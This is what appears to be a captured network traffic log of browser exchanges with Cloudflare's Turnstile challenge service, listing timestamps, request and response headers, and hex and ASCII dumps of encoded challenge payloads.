SXDMgwEYkwEi9+eHgcR1HIvfnF3w5DZN4vx5QijGe05Mw7n$qycKUkxifI0$6GyfUbFkDoStoTkxzHH07BquQvoG$4fnOoIHnAnAG3KDoSpH3kw9tCoakxhMJtf6v9$Jt1tGhAKo8WoVoA2AM-Zng74EornfG1UvQeNoOOngnk6fyNInptchyqrJtcYepkSY$v$UkM7Pl1Lo$Lk5egy9gMA45foeck18rArkL3hnPFk51dHiXkTe6nBr-vnvfD2
2025-03-25 15:27:13 UTC	5552	OUT	Data Raw: 65 2b 37 6f 79 66 35 4d 6f 24 4b 30 24 34 6a 73 35 47 41 41 70 47 4d 4c 6f 30 6f 66 54 4e 51 6f 32 58 62 47 63 68 47 30 6b 43 71 69 4c 47 4b 70 56 59 48 6e 56 72 6f 65 24 65 52 31 54 58 44 57 72 53 78 66 43 79 34 72 75 50 4d 57 75 53 50 4c 4d 67 4a 49 67 50 7a 79 63 6a 52 6e 65 59 4a 57 71 47 33 6f 6f 54 78 43 43 57 63 30 42 4f 54 49 4e 6e 56 4c 6e 6e 54 50 65 72 4e 55 66 55 49 45 55 5a 56 57 59 50 6f 41 70 37 79 36 6f 65 48 6f 50 35 43 24 31 6b 55 6f 56 43 35 48 54 4b 57 2d 69 44 45 57 4a 61 6f 34 57 72 41 47 4c 77 71 41 45 2d 6f 4a 71 49 4e 57 34 42 5a 72 4c 47 59 75 78 78 37 49 2d 50 62 42 43 6f 36 38 78 42 42 54 70 59 52 47 50 34 67 61 65 36 31 68 70 50 77 75 65 46 35 54 34 41 39 59 46 47 6f 57 24 2b 68 75 34 77 61 57 49 79 5a 57 54 24 70 52 31 6a 54 Data Ascii: e+7oyf5Mo$K0$4js5GAApGMLo0ofTNQo2XbGchG0kCqiLGKpVYHnVroe$eR1TXDWrSxfCy4ruPMWuSPLMgJIgPzycjRneYJWqG3ooTxCCWc0BOTINnVLnnTPerNUfUIEUZVWYPoAp7y6oeHoP5C$1kUoVC5HTKW-iDEWJao4WrAGLwqAE-oJqINW4BZrLGYuxx7I-PbBCo68xBBTpYRGP4gae61hpPwueF5T4A9YFGoW$+hu4waWIyZWT$pR1jT
2025-03-25 15:27:13 UTC	322	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:13 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 28192 Connection: close cf-chl-gen: U9Wlcj+TVmCygXZl4PA1Yp8OGvZGdk0eX1qRb9XHrX6AdyuTe5AzfGdPGTr6dwsW$7/BhjtUKTn4HEobaQ85SuA== Server: cloudflare CF-RAY: 925f6e5d8bde5e6e-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 15:27:13 UTC	1047	IN	Data Raw: 74 5a 65 45 69 34 75 67 6d 70 2b 33 71 35 71 76 75 5a 65 47 6e 4c 6d 62 6e 4c 6d 4c 79 37 71 39 6a 39 43 7a 31 4b 58 54 6c 70 6d 4d 79 4e 33 53 76 64 4b 5a 6e 4a 75 6a 32 62 75 65 30 65 6e 48 30 2b 62 74 32 4d 72 4c 30 63 76 53 76 2b 50 4e 7a 37 44 46 36 2b 79 35 35 63 66 57 79 39 53 36 31 41 58 55 74 38 48 38 34 51 47 38 77 63 72 4a 7a 75 55 52 32 68 51 4f 44 50 37 31 43 52 44 6f 34 77 34 46 33 42 44 76 31 74 33 55 36 39 73 4f 38 76 54 77 42 67 6a 64 46 75 55 61 44 7a 44 76 49 51 59 48 4e 43 41 73 37 69 7a 79 38 77 6e 35 45 78 30 69 44 52 48 36 49 45 55 42 51 2f 35 42 53 79 46 44 51 44 6f 76 48 78 70 42 53 53 73 6d 56 30 31 43 53 42 55 54 56 44 73 37 55 6b 77 79 51 44 38 64 50 30 4d 31 53 6b 70 4d 57 31 64 57 4f 57 49 35 63 56 46 6c 5a 44 56 4f 4e 47 39 Data Ascii: tZeEi4ugmp+3q5qvuZeGnLmbnLmLy7q9j9Cz1KXTlpmMyN3SvdKZnJuj2bue0enH0+bt2MrL0cvSv+PNz7DF6+y55cfWy9S61AXUt8H84QG8wcrJzuUR2hQODP71CRDo4w4F3BDv1t3U69sO8vTwBgjdFuUaDzDvIQYHNCAs7izy8wn5Ex0iDRH6IEUBQ/5BSyFDQDovHxpBSSsmV01CSBUTVDs7UkwyQD8dP0M1SkpMW1dWOWI5cVFlZDVONG9
2025-03-25 15:27:13 UTC	1369	IN	Data Raw: 6d 79 62 69 69 71 74 44 4f 70 4d 61 7a 77 61 71 69 33 4b 2b 35 33 70 6e 49 76 4b 72 44 34 4c 65 59 74 72 69 6c 77 4d 72 6c 77 37 72 76 73 4d 53 38 30 38 72 41 37 4f 66 4c 36 64 75 34 37 2f 4c 50 76 4f 76 79 39 66 69 2b 30 50 33 44 43 67 44 43 42 4e 73 49 34 65 66 4a 36 51 58 6e 45 4f 7a 69 36 78 54 7a 44 65 54 6e 39 50 72 76 47 51 73 4e 33 4e 34 41 2b 77 6e 61 34 77 41 6a 39 51 72 37 35 79 41 47 2f 68 38 50 44 79 6f 46 45 52 72 33 43 68 73 72 4c 6a 50 35 39 7a 77 66 4d 79 38 64 4b 52 38 6c 4e 6b 56 41 42 79 55 72 4f 67 74 43 52 6b 38 78 55 68 56 61 57 6a 52 56 4b 30 67 74 56 56 63 61 56 31 74 6b 4a 68 30 6d 4a 54 4a 42 49 69 74 6e 62 53 70 6d 5a 30 30 2f 59 57 42 72 62 53 38 36 61 55 73 34 4f 6e 31 57 64 6e 67 39 66 6d 4a 32 55 54 35 59 69 6b 64 66 62 6d Data Ascii: mybiiqtDOpMazwaqi3K+53pnIvKrD4LeYtrilwMrlw7rvsMS808rA7OfL6du47/LPvOvy9fi+0P3DCgDCBNsI4efJ6QXnEOzi6xTzDeTn9PrvGQsN3N4A+wna4wAj9Qr75yAG/h8PDyoFERr3ChsrLjP59zwfMy8dKR8lNkVAByUrOgtCRk8xUhVaWjRVK0gtVVcaV1tkJh0mJTJBIitnbSpmZ00/YWBrbS86aUs4On1Wdng9fmJ2UT5Yikdfbm
2025-03-25 15:27:13 UTC	1369	IN	Data Raw: 71 4d 2f 58 6c 64 71 53 30 73 65 78 76 36 6e 4b 7a 65 50 44 35 63 4c 45 77 4c 61 36 71 4c 32 6f 7a 73 75 2f 76 4b 7a 50 72 75 37 43 76 75 4b 75 34 73 72 6a 7a 66 44 6f 74 37 66 71 34 38 44 50 77 51 4c 7a 77 4d 4c 42 35 51 59 42 42 67 4c 74 32 78 45 53 42 2b 38 46 46 75 33 6c 43 2b 63 4d 31 50 6f 57 46 52 30 64 33 43 51 69 35 4f 2f 79 48 2f 7a 6d 42 76 59 61 47 76 76 6f 35 43 55 53 37 43 50 78 45 42 50 30 44 51 34 2f 4c 44 30 70 48 66 52 45 46 6a 63 69 50 68 77 47 43 41 51 4a 47 6a 78 4a 47 55 39 4e 55 53 4e 57 51 54 55 31 4f 43 5a 47 4a 78 70 64 55 6c 63 36 56 7a 73 58 4a 44 38 68 55 31 31 42 5a 6d 34 33 5a 32 70 72 53 6e 45 76 52 32 78 4a 51 58 5a 70 4f 6a 52 65 50 6c 67 35 56 47 78 32 66 48 64 39 64 58 70 65 68 56 4f 49 68 6c 70 33 53 45 31 79 69 49 42 Data Ascii: qM/XldqS0sexv6nKzePD5cLEwLa6qL2ozsu/vKzPru7CvuKu4srjzfDot7fq48DPwQLzwMLB5QYBBgLt2xESB+8FFu3lC+cM1PoWFR0d3CQi5O/yH/zmBvYaGvvo5CUS7CPxEBP0DQ4/LD0pHfREFjciPhwGCAQJGjxJGU9NUSNWQTU1OCZGJxpdUlc6VzsXJD8hU11BZm43Z2prSnEvR2xJQXZpOjRePlg5VGx2fHd9dXpehVOIhlp3SE1yiIB
2025-03-25 15:27:13 UTC	1369	IN	Data Raw: 71 76 57 33 4e 47 31 33 4b 72 66 33 62 48 4f 6e 36 54 4a 33 39 65 69 75 36 32 38 7a 64 6d 2f 79 4c 2f 6f 30 64 48 4a 38 2b 79 78 79 36 2f 4b 38 64 45 43 74 41 44 31 7a 39 44 43 42 2b 6a 32 44 51 62 63 78 77 66 43 43 50 4c 63 45 41 59 56 39 77 76 69 38 2f 50 37 44 42 38 61 39 68 77 6b 2b 79 50 75 46 67 62 32 47 66 6e 35 48 53 51 70 36 77 77 41 49 51 34 51 42 42 59 57 39 78 4d 6f 45 2f 4c 39 2b 54 51 4e 4c 7a 73 4f 50 52 45 67 50 52 51 58 42 77 73 4d 52 43 34 74 49 6a 77 51 4b 41 35 4e 51 53 51 77 55 30 73 77 47 42 68 4a 56 52 6f 37 49 54 74 6b 4e 30 55 67 55 54 6f 68 58 6b 4a 61 50 55 6f 72 62 6d 51 30 5a 30 70 4d 4b 6c 5a 53 4d 6a 70 46 55 58 68 38 63 33 6c 77 65 6d 4e 56 55 47 4e 4a 51 47 52 6a 6a 47 4f 4a 65 59 35 73 55 45 35 31 69 46 2b 4b 55 6d 79 63 Data Ascii: qvW3NG13Krf3bHOn6TJ39eiu628zdm/yL/o0dHJ8+yxy6/K8dECtAD1z9DCB+j2DQbcxwfCCPLcEAYV9wvi8/P7DB8a9hwk+yPuFgb2Gfn5HSQp6wwAIQ4QBBYW9xMoE/L9+TQNLzsOPREgPRQXBwsMRC4tIjwQKA5NQSQwU0swGBhJVRo7ITtkN0UgUTohXkJaPUorbmQ0Z0pMKlZSMjpFUXh8c3lwemNVUGNJQGRjjGOJeY5sUE51iF+KUmyc
2025-03-25 15:27:13 UTC	1369	IN	Data Raw: 48 66 6f 73 47 67 35 2b 44 69 77 4c 69 30 78 4b 58 71 76 74 48 6b 30 74 43 75 33 2b 50 43 34 63 72 76 38 76 76 51 39 2b 7a 2b 34 73 33 45 7a 77 50 36 43 65 44 53 34 73 51 45 32 38 55 52 7a 63 7a 2b 30 66 62 51 44 67 37 6f 42 77 7a 34 35 2f 48 39 38 68 4d 52 2b 77 48 79 32 4f 4d 44 4b 2b 51 55 2f 75 73 73 35 66 67 74 47 79 6f 48 44 67 49 51 4e 77 4d 71 45 69 34 7a 4e 68 59 74 48 6b 49 36 45 54 68 48 49 7a 67 31 51 52 38 46 43 67 45 36 50 69 6c 4e 4b 68 35 4a 4c 79 6c 51 57 53 6f 53 46 52 6c 5a 46 6a 45 69 50 32 4a 5a 4d 78 6b 6a 51 56 6b 37 4e 30 73 70 4a 30 56 48 55 69 6f 78 5a 6d 78 47 55 47 70 74 55 48 4e 78 61 47 31 66 4f 30 4b 42 51 34 47 41 69 46 56 59 68 6d 64 6e 56 6f 47 48 59 46 78 49 67 6c 4b 4e 64 6b 6c 76 62 4a 57 50 62 34 5a 58 61 56 2b 63 64 Data Ascii: HfosGg5+DiwLi0xKXqvtHk0tCu3+PC4crv8vvQ9+z+4s3EzwP6CeDS4sQE28URzcz+0fbQDg7oBwz45/H98hMR+wHy2OMDK+QU/uss5fgtGyoHDgIQNwMqEi4zNhYtHkI6EThHIzg1QR8FCgE6PilNKh5JLylQWSoSFRlZFjEiP2JZMxkjQVk7N0spJ0VHUioxZmxGUGptUHNxaG1fO0KBQ4GAiFVYhmdnVoGHYFxIglKNdklvbJWPb4ZXaV+cd
2025-03-25 15:27:13 UTC	1369	IN	Data Raw: 6e 71 4e 37 68 34 39 33 42 7a 73 79 2b 71 63 37 74 30 66 4c 4e 7a 4c 58 55 74 72 58 35 38 75 37 64 39 74 6a 50 33 76 6a 2b 34 75 54 59 33 50 33 31 36 73 58 35 7a 66 41 51 38 39 49 4a 47 41 50 33 36 75 58 38 39 64 55 4e 45 52 58 39 39 77 44 63 35 42 6e 33 4b 74 77 55 44 65 6b 45 2f 50 77 77 42 42 77 4e 42 77 2f 79 4b 42 55 36 45 41 58 38 4c 54 59 4c 49 76 6f 36 4a 53 46 46 45 42 54 37 4a 44 64 41 4c 43 64 46 53 6b 46 4b 4a 52 49 54 53 69 45 78 55 55 56 64 4a 31 77 30 46 6b 74 54 51 78 5a 4e 49 42 35 55 59 57 55 72 61 55 35 46 4f 7a 31 42 58 45 64 74 52 30 5a 41 59 6a 42 58 4d 6c 56 48 53 48 30 33 62 32 46 76 59 55 31 62 5a 46 65 4b 65 34 47 4d 56 31 70 2f 66 6f 61 41 69 45 35 6d 6b 32 75 4e 63 31 57 50 58 4a 4b 4d 6d 49 31 34 64 70 52 6b 6c 6e 36 54 67 34 Data Ascii: nqN7h493Bzsy+qc7t0fLNzLXUtrX58u7d9tjP3vj+4uTY3P316sX5zfAQ89IJGAP36uX89dUNERX99wDc5Bn3KtwUDekE/PwwBBwNBw/yKBU6EAX8LTYLIvo6JSFFEBT7JDdALCdFSkFKJRITSiExUUVdJ1w0FktTQxZNIB5UYWUraU5FOz1BXEdtR0ZAYjBXMlVHSH03b2FvYU1bZFeKe4GMV1p/foaAiE5mk2uNc1WPXJKMmI14dpRkln6Tg4
2025-03-25 15:27:13 UTC	1369	IN	Data Raw: 71 2b 6a 72 33 2f 54 77 34 4d 33 34 2b 4d 6d 7a 38 4f 69 34 34 4d 44 72 36 76 37 41 38 67 44 63 41 50 51 41 32 41 66 34 79 4f 41 50 2b 2f 76 70 34 51 2f 52 45 42 6b 4a 36 51 38 56 43 77 63 63 39 52 38 62 2f 65 45 69 49 43 44 6b 4a 2f 30 55 37 43 6e 73 4c 66 73 72 38 43 30 41 4e 44 45 4b 38 6a 58 34 4c 50 59 35 2f 44 67 2b 50 78 5a 41 2f 6b 52 41 53 41 6c 48 48 6a 67 49 53 6b 63 43 45 46 42 4d 44 52 4a 53 46 56 55 6a 56 56 52 4d 48 46 63 65 4d 68 31 65 58 54 63 77 59 6a 70 67 4a 57 63 39 48 69 70 70 61 47 30 38 63 47 78 6b 4d 33 52 78 53 6a 68 7a 4f 54 55 33 65 58 69 41 50 58 39 57 62 45 43 42 52 6c 36 47 68 33 56 69 53 49 70 4e 67 45 32 50 5a 6b 31 56 6b 6f 39 4b 57 4a 61 45 56 56 65 62 63 33 5a 65 6e 6d 4a 36 59 35 39 6c 71 47 61 6d 61 5a 56 33 72 47 32 Data Ascii: q+jr3/Tw4M34+Mmz8Oi44MDr6v7A8gDcAPQA2Af4yOAP+/vp4Q/REBkJ6Q8VCwcc9R8b/eEiICDkJ/0U7CnsLfsr8C0ANDEK8jX4LPY5/Dg+PxZA/kRASAlHHjgISkcCEFBMDRJSFVUjVVRMHFceMh1eXTcwYjpgJWc9HippaG08cGxkM3RxSjhzOTU3eXiAPX9WbECBRl6Gh3ViSIpNgE2PZk1Vko9KWJaEVVebc3ZenmJ6Y59lqGamaZV3rG2

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:14 UTC	638	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/326701419:1742912882:gQ8gn12rH__0TKEFoBSzNBo90wn3IU5W6VoNnnrwKjU/925f6e3cbb80917b/L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:14 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 25 Mar 2025 15:27:14 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: 1EKgDp6aRZAL/wuuo3p2RZ09W8spVRBI54klbh/t85HcLai9JmgKcdxZ8nAr0h6BxeWMduRlQ4gk3gSEILI/gg==$7VpBS5uSBF3VTXdj0DvDzA== Server: cloudflare CF-RAY: 925f6e632d818c18-EWR alt-svc: h3=":443"; ma=86400
2025-03-25 15:27:14 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-25 15:27:23 UTC	1191	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/326701419:1742912882:gQ8gn12rH__0TKEFoBSzNBo90wn3IU5W6VoNnnrwKjU/925f6e3cbb80917b/L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 40764 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 cf-chl: L6MRTPzTkLVj0QVRN7KndrPsg.bPmxhHqfVUaJayn9A-1742916428-1.1.1.1-6wSSPfBrxBFjdw4z80eTc_SVzwn8XaJnlWuyVYWjVnyoDtMaN0BcrI2vfIlUnV3x cf-chl-ra: 0 sec-ch-ua-mobile: ?0 Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/nxntx/0x4AAAAAABAfAYT7TW9UJ31J/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-25 15:27:23 UTC	16384	OUT	Data Raw: 55 74 66 24 4b 65 6e 49 41 33 66 6b 61 36 48 6e 37 6f 75 2d 66 31 57 6f 32 6f 78 6f 61 79 65 48 6f 2b 6f 68 79 4e 6b 4d 6f 6a 6f 4c 78 51 31 49 6e 63 31 66 37 24 47 79 4e 74 79 6f 68 6b 2b 6f 6b 79 6f 44 36 6f 2b 78 41 36 6f 67 51 31 2b 45 6b 6f 34 67 6f 52 24 6b 48 6f 53 24 6b 67 48 64 36 79 51 6e 2d 37 48 24 6f 61 41 2d 6f 6b 51 53 6f 55 24 6e 67 30 6f 4c 75 55 79 49 63 6f 6e 66 6e 31 6f 66 64 67 6f 36 46 72 4b 64 4f 74 57 6a 51 61 6b 55 6f 24 32 24 31 46 6f 6e 56 75 38 58 4a 44 76 73 66 74 52 4b 44 48 34 24 31 36 6b 59 68 79 6f 55 41 24 74 73 66 6f 58 6f 65 37 6f 4d 41 44 4f 43 6f 6f 57 4b 44 43 38 34 79 75 6f 65 56 6e 2d 34 64 67 48 30 61 6f 4e 30 37 79 39 31 44 57 6f 66 66 72 6f 2d 74 6b 6f 2d 78 41 6f 4c 66 6f 7a 58 43 2d 38 46 71 2b 6f 63 79 4b 6f Data Ascii: Utf$KenIA3fka6Hn7ou-f1Wo2oxoayeHo+ohyNkMojoLxQ1Inc1f7$GyNtyohk+okyoD6o+xA6ogQ1+Eko4goR$kHoS$kgHd6yQn-7H$oaA-okQSoU$ng0oLuUyIconfn1ofdgo6FrKdOtWjQakUo$2$1FonVu8XJDvsftRKDH4$16kYhyoUA$tsfoXoe7oMADOCooWKDC84yuoeVn-4dgH0aoN07y91DWoffro-tko-xAoLfozXC-8Fq+ocyKo
2025-03-25 15:27:23 UTC	16384	OUT	Data Raw: 53 58 44 4d 67 77 45 59 6b 77 45 69 39 2b 65 48 67 63 52 31 48 49 76 66 6e 46 33 77 35 44 5a 4e 34 76 78 35 51 69 6a 47 65 30 35 4d 77 37 6e 24 71 79 63 4b 55 6b 78 69 66 49 30 24 36 47 79 66 55 62 46 6b 44 6f 53 74 6f 54 6b 78 7a 48 48 30 37 42 71 75 51 76 6f 47 24 34 66 6e 4f 6f 49 48 6e 41 6e 41 47 33 4b 44 6f 53 70 48 33 6b 77 39 74 43 6f 61 6b 78 68 4d 4a 74 66 36 76 39 24 4a 74 31 74 47 68 41 4b 6f 38 57 6f 56 6f 41 32 41 4d 2d 5a 6e 67 37 34 45 6f 72 6e 66 47 31 55 76 51 65 4e 6f 4f 4f 6e 67 6e 6b 36 66 79 4e 49 6e 70 74 63 68 79 71 72 4a 74 63 59 65 70 6b 53 59 24 76 24 55 6b 4d 37 50 6c 31 4c 6f 24 4c 6b 35 65 67 79 39 67 4d 41 34 35 66 6f 65 63 6b 31 38 72 41 72 6b 4c 33 68 6e 50 46 6b 35 31 64 48 69 58 6b 54 65 36 6e 42 72 2d 76 6e 76 66 44 32 Data Ascii: SXDMgwEYkwEi9+eHgcR1HIvfnF3w5DZN4vx5QijGe05Mw7n$qycKUkxifI0$6GyfUbFkDoStoTkxzHH07BquQvoG$4fnOoIHnAnAG3KDoSpH3kw9tCoakxhMJtf6v9$Jt1tGhAKo8WoVoA2AM-Zng74EornfG1UvQeNoOOngnk6fyNInptchyqrJtcYepkSY$v$UkM7Pl1Lo$Lk5egy9gMA45foeck18rArkL3hnPFk51dHiXkTe6nBr-vnvfD2
2025-03-25 15:27:23 UTC	7996	OUT	Data Raw: 65 2b 37 6f 79 66 35 4d 6f 24 4b 30 24 34 6a 73 35 47 41 41 70 47 4d 4c 6f 30 6f 66 54 4e 51 6f 32 58 62 47 63 68 47 30 6b 43 71 69 4c 47 4b 70 56 59 48 6e 56 72 6f 65 24 65 52 31 54 58 44 57 72 53 78 66 43 79 34 72 75 50 4d 57 75 53 50 4c 4d 67 4a 49 67 50 7a 79 63 6a 52 6e 65 59 4a 57 71 47 33 6f 6f 54 78 43 43 57 63 30 42 4f 54 49 4e 6e 56 4c 6e 6e 54 50 65 72 4e 55 66 55 49 45 55 5a 56 57 59 50 6f 41 70 37 79 36 6f 65 48 6f 50 35 43 24 31 6b 55 6f 56 43 35 48 54 4b 57 2d 69 44 45 57 4a 61 6f 34 57 72 41 47 4c 77 71 41 45 2d 6f 4a 71 49 4e 57 34 42 5a 72 4c 47 59 75 78 78 37 49 2d 50 62 42 43 6f 36 38 78 42 42 54 70 59 52 47 50 34 67 61 65 36 31 68 70 50 77 75 65 46 35 54 34 41 39 59 46 47 6f 57 24 2b 68 75 34 77 61 57 49 79 5a 57 54 24 70 52 31 6a 54 Data Ascii: e+7oyf5Mo$K0$4js5GAApGMLo0ofTNQo2XbGchG0kCqiLGKpVYHnVroe$eR1TXDWrSxfCy4ruPMWuSPLMgJIgPzycjRneYJWqG3ooTxCCWc0BOTINnVLnnTPerNUfUIEUZVWYPoAp7y6oeHoP5C$1kUoVC5HTKW-iDEWJao4WrAGLwqAE-oJqINW4BZrLGYuxx7I-PbBCo68xBBTpYRGP4gae61hpPwueF5T4A9YFGoW$+hu4waWIyZWT$pR1jT
2025-03-25 15:27:24 UTC	282	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 15:27:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4856 Connection: close cf-chl-out: fv70PxSG6QOu7WzDE4OpmDlrvspkgUubFMSUmJ4Rsfgn6inuKrHPAp+6oiLhXlZVD/T/vPfYgYLKaJhS+KkpYGiFjh9v6sDbb5BIG6mhaGc=$QkK0GgBULNydNIrJ4mD8Tw==
2025-03-25 15:27:24 UTC	1235	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 4d 4c 61 6e 33 33 67 6f 6e 61 37 4c 41 53 66 51 59 63 34 36 75 48 53 34 30 55 45 74 51 38 38 69 79 36 58 2b 73 62 68 53 56 71 61 6a 63 48 61 6f 58 33 64 36 58 37 55 31 73 70 72 53 33 72 5a 53 77 62 31 54 2b 72 75 78 4b 50 72 70 61 74 30 4d 72 33 71 73 66 54 6e 62 37 4a 43 6e 6e 76 37 61 56 55 32 38 45 7a 46 73 2f 74 58 4a 46 6f 65 38 71 48 74 73 79 73 6d 62 6b 51 50 65 36 67 6d 69 37 30 58 51 32 4d 6d 4e 76 61 43 73 62 34 36 47 73 45 65 76 6f 4c 74 41 58 43 77 76 42 4a 49 6f 75 55 78 6a 37 6c 31 4c 48 46 57 58 44 69 57 6d 38 4f 66 52 66 4a 47 74 63 67 72 42 46 59 4f 6a 58 76 2f 2f 4e 4b 6a 63 4d 6c 66 4f 43 64 68 72 33 62 67 38 36 50 72 54 74 34 6a 46 35 30 57 70 53 43 6e 70 5a 37 76 49 4d 55 2f 75 49 4b 62 73 64 Data Ascii: cf-chl-out-s: MLan33gona7LASfQYc46uHS40UEtQ88iy6X+sbhSVqajcHaoX3d6X7U1sprS3rZSwb1T+ruxKPrpat0Mr3qsfTnb7JCnnv7aVU28EzFs/tXJFoe8qHtsysmbkQPe6gmi70XQ2MmNvaCsb46GsEevoLtAXCwvBJIouUxj7l1LHFWXDiWm8OfRfJGtcgrBFYOjXv//NKjcMlfOCdhr3bg86PrTt4jF50WpSCnpZ7vIMU/uIKbsd
2025-03-25 15:27:24 UTC	1221	IN	Data Raw: 74 5a 65 45 69 34 75 67 6d 70 2b 33 71 35 71 76 75 5a 65 47 6e 4c 6d 61 75 59 65 4d 7a 4a 2f 4a 6e 4a 37 4e 6c 4a 4b 50 6c 4d 53 53 6d 73 57 2b 33 74 71 2f 79 70 72 58 6f 73 2b 66 32 4d 6e 44 78 65 7a 4e 78 38 6e 4c 34 71 72 4c 35 39 48 6b 31 38 6a 4f 73 76 57 79 31 50 48 53 41 64 67 43 32 72 72 6b 42 39 30 45 32 63 44 72 76 65 77 42 31 2f 73 4c 2f 65 55 41 46 64 34 59 45 68 44 73 2b 2b 6e 6c 42 67 44 37 43 65 41 55 38 2b 4d 41 38 78 66 77 42 66 6f 63 39 41 6f 4d 34 52 6f 70 48 51 51 47 4e 79 6e 78 47 76 59 70 4d 54 77 2b 4b 66 6a 38 50 2f 34 61 46 6a 45 69 4f 30 41 72 48 78 67 38 4e 69 31 43 55 43 41 74 4a 55 6f 72 51 53 55 34 47 67 30 37 53 42 73 56 4c 42 30 77 57 78 70 63 4a 53 45 6f 52 32 63 39 4a 6b 51 38 4c 43 6c 79 61 45 35 6d 4c 30 4a 32 59 48 70 Data Ascii: tZeEi4ugmp+3q5qvuZeGnLmauYeMzJ/JnJ7NlJKPlMSSmsW+3tq/yprXos+f2MnDxezNx8nL4qrL59Hk18jOsvWy1PHSAdgC2rrkB90E2cDrvewB1/sL/eUAFd4YEhDs++nlBgD7CeAU8+MA8xfwBfoc9AoM4RopHQQGNynxGvYpMTw+Kfj8P/4aFjEiO0ArHxg8Ni1CUCAtJUorQSU4Gg07SBsVLB0wWxpcJSEoR2c9JkQ8LClyaE5mL0J2YHp
2025-03-25 15:27:24 UTC	1369	IN	Data Raw: 55 4d 6b 51 31 52 55 4a 55 39 51 56 31 4a 55 53 46 77 61 48 46 56 51 57 56 68 51 56 6a 6f 6c 57 56 70 4b 4b 56 35 67 57 54 6f 2f 5a 31 74 50 50 6c 34 79 59 33 56 75 4e 47 31 4b 62 33 56 58 54 58 5a 33 4e 6d 46 6e 52 6c 35 58 66 58 4e 74 6a 48 5a 65 51 6c 31 36 66 58 4a 48 66 6d 61 54 56 6f 70 59 62 56 75 48 57 4a 68 70 69 33 56 78 6e 70 64 33 71 4a 75 54 5a 32 53 71 6e 4a 6d 4e 61 61 47 70 71 47 65 31 6c 72 43 73 71 35 75 4f 6b 36 31 34 66 48 2b 31 6f 6f 36 63 76 4b 61 53 74 38 43 73 76 4c 58 4d 72 63 53 69 77 62 4f 72 6f 73 57 2f 73 64 6e 52 76 4e 69 50 76 35 75 67 33 4d 72 43 74 5a 33 52 79 4d 57 66 31 63 6e 74 75 73 2f 6b 71 4f 2f 6c 77 61 62 70 34 72 48 42 39 4f 4c 6c 32 75 6e 37 76 4e 62 64 41 62 37 6c 2f 75 2f 78 30 63 66 36 36 51 48 69 2f 63 72 61 Data Ascii: UMkQ1RUJU9QV1JUSFwaHFVQWVhQVjolWVpKKV5gWTo/Z1tPPl4yY3VuNG1Kb3VXTXZ3NmFnRl5XfXNtjHZeQl16fXJHfmaTVopYbVuHWJhpi3Vxnpd3qJuTZ2SqnJmNaaGpqGe1lrCsq5uOk614fH+1oo6cvKaSt8CsvLXMrcSiwbOrosW/sdnRvNiPv5ug3MrCtZ3RyMWf1cntus/kqO/lwabp4rHB9OLl2un7vNbdAb7l/u/x0cf66QHi/cra
2025-03-25 15:27:24 UTC	1369	IN	Data Raw: 46 4a 52 6a 6c 4d 54 53 74 48 56 44 30 32 53 78 39 6b 4e 7a 42 55 57 30 74 67 61 44 31 65 52 48 42 62 55 44 35 6f 63 55 4e 52 55 32 31 6d 5a 33 74 56 61 57 63 2f 59 45 70 6b 50 33 4e 41 51 56 6c 39 55 6c 4e 32 56 31 68 70 68 46 47 51 66 59 64 30 62 59 6d 56 63 33 75 4e 6c 6d 35 39 65 33 65 54 67 70 78 64 64 5a 6c 77 6e 70 4a 63 67 6f 32 45 61 47 6d 73 6a 49 4f 67 73 6f 36 48 6b 71 69 6b 63 6e 64 34 65 49 79 52 6e 5a 71 51 6c 5a 4f 79 66 59 61 42 75 63 53 62 69 34 65 65 79 49 4b 65 7a 4a 4f 50 68 37 48 58 7a 61 6d 61 7a 64 50 4b 6d 72 54 4e 77 65 50 65 6d 74 53 65 6d 62 76 47 70 4f 4c 56 33 36 65 68 77 39 43 71 73 37 4c 57 73 63 79 31 34 63 62 46 32 4d 58 72 33 4d 2f 37 41 2b 50 2b 35 63 54 58 38 74 33 6a 43 4d 72 46 2b 74 37 43 33 41 59 49 41 4d 63 49 35 Data Ascii: 